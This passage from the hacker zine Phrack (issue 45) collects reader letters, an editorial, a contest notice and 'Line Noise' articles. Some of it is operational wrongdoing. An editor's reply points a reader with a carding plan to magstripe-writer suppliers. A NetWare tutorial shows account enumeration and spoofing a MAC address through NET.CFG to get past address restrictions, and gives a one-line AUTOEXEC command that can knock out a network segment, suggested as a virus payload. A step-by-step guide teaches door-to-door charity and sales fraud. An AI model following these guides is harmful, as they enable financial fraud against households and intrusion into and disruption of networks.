[I wouldn't worry as much about the AT&T guy busting you, as I would the Brazilian Secret Police shooting you for boxing. I mean, if the government still owns the phone company, they are the ones to watch out for.

To contact Steve Jackson Games and the Illuminati BBS, you should think about signing on to io.com. That is their Internet site. It's very cool, and has a huge MUD, (if you are into those sort of things.)

Good luck in Brazil, and please consider doing a file for our International Scene section on your Country!]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ Translation by MIND‑NRG (Rome, Italy)

[All words between [] are additional comments made by the translator]

Speciale Cyber September, 1993

~~~~~~~~~~~~~~

by Sergio Stingo (King) [ A good italian magazine ] (P. 131)

CyberPunk: everbody is talking about it, but only few people really know what it really is. Electronic Books ? A disturbing view of the next future ? Electronical conferences ? A new sort of fashion‑wears ? The biggest democratic revolution of our age ? A silent and creeping revolution ? Our Stingo [perhaps a male journalist ?], always curious about everything that is <<new>>, is travelling around Italy to investigate about this phenomenon.

It was like taking the lid off a brewing pot. The more He met <<cyber>> the more He understood that there was much more to be discovered; from the supporter of the <<brain machine>>, who is testing the mysterious machine into discos and universities, to the first art gallery where hackers' work of art are exhibited; from the cyber magazines, as <<Decoder>>, to the bands that are discovering a new style of music. Not mentioning sex, that, thanks to technology, is trying to increase the range of possible sensations. So, the trip beyond the borders of the universe was so rich and adventurous, that We have had to divide this articles into two issues. In this issue We introduce you to the first one. And, as cybernauts are used to say, have a good navigation.

[ This is the translation for you boys interested into this article. Have a good time with it <g>.CyberPunks are unknown in Italy. It's possible to find poor articles on them, but no serious issues.]

MIND‑NRG

[Hey Man! Thanks for the translation! I was wondering what that King Magazine article was saying. Hehe, I ought to get you to translate the whole article! Haha...Spanish I could do myself, but Italian is a little too different.

BTW: We don't have an article on the Italian Hacking scene either. Obviously you guys have developed quite a subculture. We'd really like to hear more!]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This message is in regard to the following article in Phrack #42. I was just wondering if there was a way to convert the newer sportsters. My modem does have 4.1 roms, at least that is what ati6 displays. however my modem has problems with the second line of command:

"Turning your USR Sportster w/ 4.1 roms into a 16.8K HST Dual Standard"

by

The Sausage with The Mallet

If you have a USRobotics Sportster FAX modem, Ver 4.1, you can issue the following commands to it to turn it into an HST 16.8K dual standard. In effect, you add HST 16.8K to its V32.bis 14.4k capability.

ats11=40v1L3x4&h1&r2&b1e1b1&m4&a3&k3

atgw03c6,22gw05cd,2f

ats14=1s24=150s26=1s32=8s34=0x7&w

I would appreciate it if you could somehow forward the message to either the authors. I realize that this is an old article, but

I would really appreciate any reply to this question.

Sincerely,

Sam F.

[Wow. I have no idea. I do know that later versions of the modem took out that, uh, "Feature." But keep in mind, as modems progress they big feature that everyone wants is flash eprom for the software, so that you can upgrade the modem through software.

The future holds a lot of fun for the person who gets his or her hands upon the reprogramming tool and rom images of upgrades for faster modems.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack:

I would like first to express all my gratitude to you, the Phrack editor, and to all of its contributors. You are doing a great job and should get credit for it. What really kills me are those wanna‑be hackers writing you in an often offensive manner, requesting for information that no real hacker would expect to see in Phrack. Or those sending the /etc/passwd file of their local University and thinking they've achieved the hack of the century.

I've been reading Phrack for quite long time now and was wondering how to contribute to it, considering that almost every hackable subject has been covered in one of the 44 Phrack issues.

I saw in issue 42 that you were sort of interested to collect H/P field information from countries other than United States. And I thought it might be an opportunity for me to send you something that was uncovered before. I'm quite sure that you can easily find foreign contributors for European countries so I will probably not bother you with H/P‑related data in France and Sweden (where I used to live). Few months ago, I settled in the Asian country you'll identify from my e‑mail address and have started investigating, in a relaxed mode, hacking and phreaking areas. This country is a virgin territory and maybe my researches and experiments would provide guidelines for H/P‑ers in the same lonely situation.

I was wondering though if you had any kind of recommendations for such reports (style, length, depth of details to be given, etc...)

If anybody in the Far‑East area is interested to participate in the writing of the report, or just willing to share knowledge with me, please feel free to forward my e‑mail address to such people.

Disclaimer:

Even if I really have the intention to write such a report, no warranty should be made upon the delivery time of it. My job is time‑consuming and leave me very few time for investigations. Apart from that, life in this country is also highly entertaining and week‑ends are mostly spent on parties with nice, nice people.

~~ Long live Phrack and its famous skilled contributors. ~~

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Otto Sync ‑

[Thanks for the letter of appreciation! As far as contributions go, we are interested in anything and everything. For your scene file, just use some of the files on other countries as examples, and I'm sure yours will be fine.

Don't worry about getting it to me in any hurry. Phrack 46 is 3 months away. :) ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey, guyz!

What happened to the magazine, I haven't seen any number after 43... In any case, send the stuff to me, as soon as possible. Preferably in some kind of compressed format.

I have got here a small question. Firstly, I noticed that a number of hackers have E‑Mail addresses such as *@phantom.com. Is it possible to get one just like this, or you've gotta be some kind of a masquotte?

I myself am a god‑fearing character, not hacking outside my own domain. I prefer to produce than to steal. However, I lack chatting and I lack money, but I wouldn't steal it. Just to get a different view ‑ for you. Not every curious person has to be a criminal.

Greetings,

Verdura (aka Vegetable)

[Phantom Access is a public access unix that you can get access to just by telnetting to phantom.com and applying as a new user.

Yes, indeed, there are a lot of hackers on phantom.com. In fact, a large number of us ancient LOD types are on there. More than you would imagine, really. But it is open to the public, and anyone who cares to pay the usage fees can hang out.

As far as back issues, I don't send them out to anyone. They are available for ftp from ftp.netsys.com in /pub/phrack as .zip files.

I do make exceptions for people without ftp access, and will mail (US Mail) disks to whoever sends me postage to:

Phrack Magazine

603 W. 13th #1A‑278

Austin, TX 78701 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear phrack type person:

I am working on a carding scheme involving stripe‑writers. I have looked into getting one but it seems impossible to find someone to sell me one! I know publishing information like that is VERY stupid seeing as many government officials read phrack without paying for it. And many lamer asswipes read it to. That company would stop selling faster than a lamer on IRC gets kicked! I need any information on acquiring such a PERFECTLY LEGAL device because of the places I tried I could not find one that would sell me one! I also need any tips on magstipe encoding and atm machines available. I am adept in the circles of phreekdom and can call Boards if need be. And by the way this board I am mailing from has a dickhead for a sysop. I would mail from the public access internet site here, but They found my uid shells and kicked me off. They called the cops but being the most advanced police force in the nation they haven't a clue how to contact me. (the system only asks for you name to get an account) But now they require picture ID to get an account. It's a bitch but I have to get a fake ID and a fake parent. I was also attempting to DL cracker jack when They kicked me off and I would like to know were I could gopher for it or ftp if need be. I lost most internet access except gopher and mail from this crap board. ENCRYPT EVERYTHING cause the sysop sux. I would like to subscribe to phrack but this bastard would delete 1 meg of mail quite quickly unless it is small, zipped and uuencoded I guess. Well anyway I hope to hear from you.

The government can have my encryption keys when they pry them from my cold dead hands.

‑Phiber Phreak

[It's pretty hard to get such a magstripe writer, but the keyword here is MONEY. If you have money, they will sell you damn near anything. You may want to check Bank Technology News (800‑835‑8403 for subscription) as they have periodic vendor lists. Additionally you can ask them for a copy of their Card Industry Directory which will have all the info on suppliers that you could ever dream of. It has a 15 day trial period too, so read it, get what you need and return it (for a full refund).

As far as Cracker Jack goes, get on #hack sometime and ask. I don't have a copy, but i imagine someone online will be able to DCC it to you.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 3a of 28

****************************************

I try my best to keep Phrack unbiased. For those of you who know me, you know that I am not the most soft‑spoken individual in the world, and not being able to totally flame everyone and everything puts a great deal of stress on me. This editorial space is my one saving grace. In this I can spew out incredible amounts of crap and everyone should know that it is MY OPINION only.

If anyone else wants to write a "guest" editorial, feel free to email it to phrack@well.com.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This issue I'm going to rant and rave about assholes on the net.

You know who you are.

You break into sites without any purpose, you delete files, you harass and annoy, you attempt blackmail, you fake mail, you fake news, you sling racial insults and you generally have nothing to offer the world.

You are a disgrace to the hacker community.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There have always been confrontations online. It's unavoidable on the net, as it is in life, to avoid unpleasantness. However, on the net the behavior is far more pronounced since it effects a much greater response from the limited online environments than it would in the real world. People behind such behavior in the real world can be dealt with or avoided, but online they cannot.

In the real world, annoying people don't impersonate you in national forums. In the real world, annoying people don't walk into your room and go through your desk and run through the town showing everyone your private papers or possessions. In the real world, people can't readily imitate your handwriting or voice and insult your friends and family by letter or telephone. In the real world people don't rob or vandalize and leave your fingerprints behind.

The Internet is not the real world.

All of the above continually happens on the Internet, and there is little anyone can do to stop it. The perpetrators know full well how impervious they are to retribution, since the only people who can put their activities to a complete halt are reluctant to open cases against computer criminals due to the complex nature of the crimes.

The Internet still clings to the anarchy of the Arpanet that spawned it, and many people would love for the status quo to remain. However, the actions of a few miscreants will force lasting changes on the net as a whole. The wanton destruction of sites, the petty forgeries, the needless breakins and the poor blackmail attempts do not go unnoticed by the authorities.

I personally could care less what people do on the net. I know it is fantasyland. I know it exists only in our minds, and should not have any long lasting effect in the real world. Unfortunately, as the net's presence grows larger and larger, and the world begins to accept it as an entity in and of itself, it will be harder to convince those inexperienced users that the net is not real.

I have always played by certain rules and they have worked well for me in the nearly 15 years I've been online. These rules can best be summed up by the following quote, "We are taught to love all our neighbors. Be courteous. Be peaceful. But if someone lays his hands on you, send them to the cemetery."

The moment someone crosses the line, and interferes with my well‑being in any setting (even one that is arguably unreal such as the Internet) I will do whatever necessary to ensure that I can once again go about minding my own business unmolested. I am not alone in this feeling. There are hundreds of net‑loving anarchists who don't want the extra attention and bad press brought to our little fantasyland by people who never learned how to play well as children. Even these diehard anti‑authoritatians are finding themselves caught in a serious quandary: do they do nothing and suffer attacks, or do they make the phone call to Washington and try to get the situation resolved?

Many people cannot afford the risk of striking back electronically, as some people may suggest. Other people do not have the skill set needed to orchestrate an all out electronic assault against an unknown, even if they pay no heed to the legal risk. Even so, should anyone attempt such retribution electronically, the assailant will merely move to a new site and begin anew.

People do not like to deal with police. No one LOVES to

call up their local law enforcement office and have a nice chat. Almost everyone feels somewhat nervous dealing with these figures knowing that they may just as well decide to turn their focus on you rather than the people causing problems. Even if you live your life crime‑free, there is always that underlying nervousness; even in the real world.

However, begin an assault directed against any individual, and I guarantee he or she will overcome such feelings and make the needed phone call. It isn't the "hacking" per se that will cause anyone's downfall nor bring about governmental regulation of the net, but the unchecked attitudes and gross disregard for human dignity that runs rampant online.

What good can come from any of this? Surely people will regain the freedom to go about their business, but what of the added governmental attentions?

Electronic Anti‑Stalking Laws?

Electronic Trespass?

Electronic Forgery?

False Electronic Indentification?

Electronic Shoplifting?

Electronic Burglary?

Electronic Assault?

Electronic Loitering?

Illegal Packet Sniffing equated as Illegal Wiretaps?

The potential for new legislation is immense. As the networks further permeate our real lives, the continual unacceptable behavior and following public outcry in that setting will force the ruling bodies to draft such laws. And who will enforce these laws? And who will watch the watchmen? Oftimes these issues are left to resolve themselves after the laws have passed.

Is this the future we want? One of increased legislation and governmental regulation? With the development of the supposed National Information Super‑Highway, the tools will be in place for a new body to continually monitor traffic for suspect activity and uphold any newly passed legislation. Do not think that the ruling forces have not considered that potential.

We are all in a serious Catch‑22, brought about by a handful of sociopaths. When an unwanted future arises as a direct, or indirect,

Line Noise Part I

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 4 of 28

// // /\

// // //\\

==== // // \\

/\ // // \\ /

//\\ // // // //

// \\/ \\ // //

PART I

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

!! NEW PHRACK CONTEST !!

Phrack Magazine is sponsoring a programming contest open to anyone who wishes to enter.

Write the Next Internet Worm! Write the world's best X Windows wardialer! Code something that makes COPS & SATAN look like high school Introduction to Computing assignments. Make the OKI 1150 a scanning, tracking, vampirephone. Write an NLM! Write a TSR! Write a stupid game! It doesn't matter what you write, or what computer it's for! It only matters that you enter!

Win from the following prizes:

Computer Hardware & Peripherals

System Software

Complete Compiler packages

CD‑ROMS

T‑Shirts

Magazine Subscriptions

and MANY MORE!

STOP CRACKING PASSWORDS AND DO SOMETHING WITH YOUR LIFE!

Enter the PHRACK PROGRAMMING CONTEST!

The rules are very simple:

1) All programs must be original works. No submissions of previously copyrighted materials or works prepared by third parties will be judged.

2) All entries must be sent in as source code only. Any programming language is acceptable. Programs must compile and run without any modifications needed by the judges. If programs are specific to certain platforms, please designate that platform. If special hardware is needed, please specify what hardware is required. If include libraries are needed, they should be submitted in addition to the main program.

3) No virii accepted. An exception may be made for such programs that are developed for operating systems other than AMIGA/Dos, System 7, MS‑DOS (or variants), or OS/2. Suitable exceptions could be, but are not limited to, UNIX (any variant), VMS or MVS.

4) Entries may be submitted via email or magnetic media. Email should be directed to phrack@well.com. Tapes, Diskettes or other storage media should be sent to

Phrack Magazine

603 W. 13th #1A‑278

Austin, TX 78701

5) Programs will be judged by a panel of judges based on programming skill displayed, originality, usability, user interface, documentation, and creativity.

6) Phrack Magazine will make no claims to the works submitted, and the rights to the software are understood to be retained by the program author. However, by entering, the Author thereby grants Phrack Magazine permission to reprint the program source code in future issues.

7) All Entries must be received by 12‑31‑94. Prizes to be awarded by 3‑1‑95.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑INCLUDE THIS FORM WITH ENTRY‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Author:

Email Address:

Mailing Address:

Program Name:

Description:

Hardware & Software Platform(s) Developed For:

Special Equipment Needed (modem, ethernet cards, sound cards, etc):

Other Comments:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Novell NetWare & Ethernet address spoofing with ODI

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Just to save you from the boredom of Yet Another UNIX Security Weakness, here are some things to consider about Novell NetWare for your next Security Audit or Hacking session (depending on which side you are on).

Novell claim to have over 20 million PCs using their network operating system, substantially more than the estimated 4 million TCP/IP systems worldwide. There are many reasons for its popularity and its 60 to 80% market share, one of which has been its relatively good security.

NetWare has been one of the few widely available systems which offer some form of login encryption of accounts and passwords over the wire, as standard, unlike most of its rivals which send them out as plaintext, even if they are stored in an encrypted form eventually. Novell now offer RSA based public key encryption of the data as well.

However, since it is so popular, there are likely to be plenty of systems out there which have not been upgraded to the latest versions and patch releases and which may be still be vulnerable to programs like KNOCK , the patched ATTACH command (published in HackTic 16/17 1992), or the University of Leiden's HACK (which has been published in issue 43 of PHRACK)

Since the latest security features are implemented as NetWare Loadable Modules for NetWare 3x and 4x, but as Value Added Processes for NetWare 2x, which require the server to be brought down to install them, it is likely that there are many NetWare 2x systems which are still vulnerable

I shall also assume that you are not on one of those wide open "box shift" installations where none of the security features have been switched on (try logging in as SUPERVISOR or GUEST without a password), all the programs and data are in a single SYS: volume and the Network Address of the cable is the default 00000001.

Like any project, the more you know about your particular Novell LAN, the easier it gets to "explore". Login as GUEST or a normal account.

Try to see who else is on the system e.g.

USERLIST /A >c:\ulist.txt

will give you a list of users currently logged in, with their Ethernet card addresses saved to a text file . Your current connection will be marked with an asterisk. If your system has 100 or more users, then any sane Supervisor will have used some form of logic when allocating the user's login accounts, probably based on personnel or id number, often including their initials.

SYSCON with privilege is what you are aiming to be able to use, but even without any privileges, you can still use it to look at your own account, change your password etc. You can also see a list of all the other registered users.

This should help you sort the accounts into normal and privileged accounts (obviously SUPERVISOR, but often there are SUPERVISOR equivalent accounts, or Work Group Manager accounts which stand out from the list). You are quite likely to see an account called something like TAPE_BACKUP or DATA_LOGGER, TRAINER, STUDENT1, STUDENT2 i.e. accounts which do not belong to individual humans. These often require abnormal security privileges e.g. normal users may have their connections broken by the WATCHDOG at say midnight, to ensure that they are not modifying files during the nightly tape backup. At an academic or industrial site, you are likely to find data logging PCs connected to instrumentation or machinery which needs to be monitored or controlled 24 hours a day. These PCs are likely to have 24 hour accounts which are not time restricted at weekends, for example.

Since it is usually more practical to do tape backups (DAT or helical scan) from a separate, dedicated PC rather than from the fileserver itself (one tape unit might also back up several fileservers), these PCs are likely to use an account e.g. TAPE_BACKUP which is a SUPERVISOR equivalent. If you can get physical access to this sort of PC, either datalogger, or tape backup unit, you have a good chance of finding the password on the local drive C:, possibly in a file with Hidden and/or System attributes (have a look at the AUTOEXEC.BAT and see what it calls)

The security aware Novell supervisors, will have set up any such accounts with an extra level of security which restricts logins to only those Ethernet addresses which have been specified. The really sensible ones will have made sure that any such machines are sited in physically secure areas, as well.

Although this is a very good idea, from the security point of view, Novell have now provided a mechanism which allows you to get around this: the replacement for monolithic IPX/NETX called Open Datalink Interface (ODI)

Novell's ODI, and its slower Microsoft equivalent Network Driver Interface Specification (NDIS), both work by putting a common layer of software between the hardware of the Network Interface Card and the rest of the MSDOS Redirector. This allows multiple protocol stacks and frame types to be bound to the same physical card e.g.

IPX TCP/IP NETBeui DECnet Appletalk

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Link Support Layer

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hardware Specific device driver e.g. NE2000

Thus, to start up NetWare on older systems, you had to generate a hardware specific version of IPX.EXE for your Ethernet card,

IPX

NETX

Extra parameters were set in SHELL.CFG, now under ODI, things are a little bit more complex:

LSL

NE2000

IPXODI

NETX

The same parameters as in SHELL.CFG such as preferred server or machine type (if you have different versions of MSDOS for different types of PC) can be specified in NET.CFG. With ODI, there are more parameters for NET.CFG but the worrying/interesting one is the ability to specify a different MAC level address to that of your actual Ethernet card. It needs this ability to cope with TCP/IP or DECnet coexistence e.g.

BUFFERS 100

MACHINE TYPE COMPAQ

PREFERRED SERVER FINANCE

NODE ADDRESS AA‑00‑04‑00‑12‑34

Since this DECnet address does not depend on the "real" unique Ethernet address which has been burnt into the PROM on the card and is centrally registered (originally by Xerox, but now by the IEEE), this mechanism allows you to put a different Ethernet card address into NET.CFG, thereby fooling the Address Restriction security.

e.g. NODE ADDRESS 02‑60‑80‑12‑34‑56

This is where the data you gathered earlier with USERLIST and SYSCON becomes threatening/useful.

Of course, if your target PC is on a different LAN segment, there may be Routers or intelligent hubs which restrict your ability to do this, or at least record attempts in a log files which can trace your activity, provided that suspicions are aroused before they are periodically wiped out.

How much of a security threat this little work around constitutes depends on your specific site, but there is another danger/opportunity, namely that of a denial of service or nuisance attack on the LAN.

If you set this connection parameter to be the same as that of another PC, the fileserver (Novell, DEC or UNIX) and the Ethernet has no way of preventing some packets intended for just one unique address going to the other, if they are both online at the same time. This usually results in PC hangs, incomplete closure of files, File Allocation Table problems (usually curable by running CHKDSK C: /F, but not within Windows or you will make things worse).

If by accident or design, you set your PC to have the same address as the fileserver (Novell, DEC or UNIX) or a router, then you can cause havoc to the whole network segment (even before you have started to play your multiplayer DOOM Deathmatch !).

This could be achieved with a simple command in the AUTOEXEC.BAT e.g.

echo NODE ADDRESS fileserver Ethernet address >>C:\ODI\NET.CFG

which will only take effect the next time the PC is re‑booted (allowing a good headstart for the perpetrator)

This could also be the payload of a virus, which would cause more havoc than simply trashing the hard disk of a single PC.

This problem is due to the inherent design weaknesses of TCP/IP and DECnet, which were developed at a time when the number of mini‑computers that they connected could be counted on your fingers,. DEC or Xerox or Prime etc sales teams could only have dreamed of selling thousands of mini computers to a single customer. Nowadays, thousands of PCs connected to central servers are quite common, and the problems of duplicate addresses is significant.

These same features are what make Ethernet Packet Sniffing possible, which is what was behind the recent CERT warning and media hype about Internet password security, but that is a topic for another article.

Otaku

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

SCAMMING

DIFFERENT TECHNIQUES AND

PROCEDURES

BY: MARZ

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Table of Contents:

1.0 Intro

1.1 Different types of scams

1.2 The right one for you

2.0 The Pledge scam

2.1 The Donation scam

2.2 The Selling scam

3.0 What to wear

3.1 Where to go

4.0 Thanks

1.0 The Intro

First off I would like to say that this file is for entertainment only and that you really shouldn't do the stuff mentioned, and the writer doesn't take any responsibility for any of the crap people do.

1.1 Different types of scams

Ok in this file I will tell you about 3 types of scams the Pledge scam, The Donation scam, and the Selling scam. There are many other scams out there which I will cover in future files for instance credit card scams although companies are trying harder and harder to prevent this it is still happening.

1.2 The right one for you

Al right now every person is different so in turn so are scams and some people and scams don't mix to well for instance if you way 300 Pounds you cant really say you are the start cross country runner. So if you are 300 pounds say you are the start wrestler/football player. Also age plays a BIG factor if you are 30 years old you aren't going to pass to well for a high school football player (you always could say you flunked) and if you are 10 years old people aren't going to be to anxious to give you donations to save the Rain Forests. Al right I am going to start going into more detail about the right scam for you.

Look at my little chart below:

Age good scam

‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

‑10 | selling or pledge

11‑17 | selling, pledge , or maybe even donations (if old looking) 18+ | selling and donations

2.0 The Pledge scam

Al right this scam works great for kids still in school go around asking people (that don't live around you) to pledge money for you so your team can afford to go to the state meet or what ever. For example one I use is I go to peoples houses asking for donations in my Track teams Lap‑athon saying that we will be running laps for 3 hours to raise money so we can go and compete in the state meet. I will ask people if they want to pledge a certain flat amount or if they would like to pay me for each individual lap. I will normally have printed out a sheet like the one bellow on my computer .

Name Address Amount/lap

Not only does having a sheet like that help you keep track of who bought your scam and who you need to collect from it makes the target (person your trying to scam) not worried like they might be if they see you writing it on a sheet of note book paper. Now then you have collected a list of people wiling to pledge you go back to the address you wrote down and tell them (for example you ran 91 laps in 3 hours) make sure your number is not totally out of per portion like I ran 150 laps in 3 hours. Also for some reason numbers like 50, 70, 80, 110 people don't like people like to see 41, 73, 127, etc.. don't ask me why but that's what I have noticed. Ok so you now are at the persons house and they ask if they can write a check oh shit not a check.. well there's a couple things you could do ask them if they could possibly make it cash ( Might make them suspicious) ask them to write it to your coach give them your name (VERY dangerous) or you could just give them a phony name and lose out. One time this happened to me a lady pledged me $.25 a lap (very high amount you won't get much of these) and I told her I ran 93 laps she believed me and wanted to make out a check for the amount which was about $23 at that time I just happened to be buying some computer equipment I knew the guy's name so I gave her that name and I paid for some of the equipment with that check. Like I said earlier a 300 pound guy isn't going to be convincing for running 90 some laps in 3 hours. So customize it to your self.

2.1 The Donation scam

This scam works better for the older people out there just because people normally aren't to anxious to give a ten year old Twenty dollars to help save the whales. Ok with this scam you need to know what about what you are going to try to fake donations for so example if you are going to pose as a volunteer person to collect donations for saving the rain forest you better know something about rain forest, Be cause you never know when your going to run into that know it all rain forest hater who will try to debate why people should spend their money on saving some trees and such. It is a good idea to do some research on the field you will be portraying (read magazine and newspaper articles). Ok so now you have your idea and your ready to go..this is a scenario of how it might go:

You: Hello sir/ma'am I represent the national foundation of Rain forest saving (try to use a real group name) we are currently searching for funding for our operations at saving the rain forests of the world would you be interested in donating some money for our cause? Them: Why do we need the rain forest?

You: (just keep bullshitting along..)

Them: OK, here's $20.

(they also may say:)

Them: Get the fuck off my property before I shoot your ass.

(make sure that you don't raise a riot then but later that night go back and egg the hell out of the house..)

This scam has some possibilities you could carry this on for along time and bring it to real higher levels if your willing to put in the time and effort. First thing would be to research your field EVEN more so you know almost EVERYTHING about it. Then you might want to create a little fake newsletter that you could offer subscriptions for slightly high amount. The possibilities are pretty much endless.

2.2 The Selling scam

At least once everyone of us has had a salesperson come to our door selling stationary. Well have you ever thought of what a great possibility that would be. The first thing you want to do is call Olympic sales club (a big time stationary seller) you can get their catalog and selling kit for free at 800‑777‑8907. when you get that package it will have a catalog in it. familiarize yourself with it then go and hit some houses. This scam works great during early November (people buying cards for Christmas) well ask for cash when people pay for the stuff. they might request a phone number where to reach you just give them the number of the kid you really hate. With the kit you will receive a official order form write the order on the form so the people feel confident in you. And always remember to try to sell a product but don't kill it. This scam also has lots of possibilities.

3.0 What to wear

Your choice of cloths can make or break your scam. Don't dress like scum or to fancy. If your trying to get people to donate money for the rain forest it would help to wear some sort of a shirt dealing with the earth and not your favorite heavy metal group shirt.

3.1 Where to go

NEVER I repeat NEVER go scaming around where you are often at or you might get some crazed lunatic chasing after you with a shot gun wondering where his Christmas cards are. You will have a hard time explaining your self since its July. I find that the rich neighbor hoods are not as productive as the middle class. In the rich neighborhoods you will get fewer purchases but a little more when you get them. I also found that the richer people don't like to donate unless they get a lot of attention for it (why ya think they so rich). Stick to middle class areas not by you or your friends houses and you'll be fine.

4.0 Thanks

Thanks goes out to the people dumb enough to give me money for any of my scaming operations.

Later

Marz

Watch for future files on this and other subjects!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SHIT KICKIN' JIM IN

S E A T T L E !

Hey boy! Shit Kickin Jim here. Just wanted to let ya'll know bout this place I have been vistin that is a total hell. Yep, that's right it's the so called "cuttin edge" of music. Bah! Seems to me it's a congregation of fake ass hippy types who weren't original to come up with something new on their own, so they just went and re‑hashed what their parents did in the late 60's and 70's...And look what a bunch of assholes they turned out to be!

Well here we go. First of all I'll let ya know whut I'm talkin bout when referin to ah seattle type. Me and this other good ole boy were sittin round drinkin Bud one night and came up with the following:

DESCRIPTION OF SEATTLE PERSON

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Greasy‑Pearl Jam worshipin'‑dog walkin'‑flower sniffin'‑sock and sandle wearin'‑bead havin'‑Grateful Dead listenin'‑trail mix carryin'granola bar eatin'‑crunchy‑touchy feely‑antique clothes shoppin'bicycle ridin'‑VW bug drivin'‑spring water drinkin'‑micro‑brewery tourin'sensitive‑car poolin'‑Doc Martin wearin'‑back pack haulin'‑chain wallet carryin'‑clove smokin'‑espresso swillin'‑tree huggin'‑Greenpeace joinin'‑whiteboy dreadlocked‑liberal arts takin'‑politically correctterminal college student.

Please, anyone feel free to add to this list. See how big we can make it!

‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

Now kids I didn't come up with this here part, but it's totally great and I totally admire the hell out of who ever sent it to me.

In order for UNIX(tm) to survive into the nineties, it must get rid of its intimidating commands and outmoded jargon, and become compatible with the existing standards of our day. To this end, our technicians have come up with a new version of UNIX, System VI, for use by the PC that is, the "Politically Correct."

Politically Correct UNIX System VI Release notes

UTILITIES:

"man" pages are now called "person" pages.

Similarly, "hangman" is now the "person_executed_by_an_oppressive_regime."

To avoid casting aspersions on our feline friends, the "cat" command is now merely "domestic_quadruped."

To date, there has only been a UNIX command for "yes" ‑ reflecting the male belief that women always mean yes, even when they say no. To address this imbalance, System VI adds a "no" command, along with a "‑f[orce]" option which will crash the entire system if the "no" is ignored.

The bias of the "mail" command is obvious, and it has been replaced by the more neutral "gendre" command.

The "touch" command has been removed from the standard distribution due to its inappropriate use by high‑level managers.

"compress" has been replaced by the lightweight "feather" command. Thus, old information (such as that from Dead White European Males) should be archived via "tar" and "feather".

The "more" command reflects the materialistic philosophy of the Reagan era. System VI uses the environmentally preferable "less" command.

The biodegradable "KleeNeX" displaces the environmentally unfriendly "LaTeX".

SHELL COMMANDS:

To avoid unpleasant, medieval connotations, the "kill" command has been renamed "euthanise."

The "nice" command was historically used by privileged users to give themselves priority over unprivileged ones, by telling them to be "nice". In System VI, the "sue" command is used by unprivileged users to get for themselves the rights enjoyed by privileged ones.

"history" has been completely rewritten, and is now called "herstory."

"quota" can now specify minimum as well as maximum usage, and will be strictly enforced.

The "abort()" function is now called "choice()."

TERMINOLOGY:

>From now on, "rich text" will be more accurately referred to as "exploitive capitalist text".

The term "daemons" is a Judeo‑Christian pejorative. Such processes will now be known as "spiritual guides."

There will no longer be a invidious distinction between "dumb" and "smart" terminals. All terminals are equally valuable.

Traditionally, "normal video" (as opposed to "reverse video") was white on black. This implicitly condoned European colonialism, particularly with respect to people of African descent. UNIX System VI now uses "regressive video" to refer to white on black, while "progressive video" can be any color at all over a white background.

For far too long, power has been concentrated in the hands of "root" and his "wheel" oligarchy. We have instituted a dictatorship of the users. All system administration functions will be handled by the People's Committee for Democratically Organizing the System (PC‑DOS).

No longer will it be permissible for files and processes to be "owned" by users. All files and processes will own themselves, and decided how (or whether) to respond to requests from users.

The X Window System will henceforth be known as the NC‑17 Window System.

And finally, UNIX itself will be renamed "PC" ‑ for Procreatively Challenged.

‑‑‑‑

UNIX(tm) is a trademark of UNIX System Laboratories. Any similarity of names or attitudes to that of any person, living or dead, is purely coincidental.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Basics of the public key cryptosystem

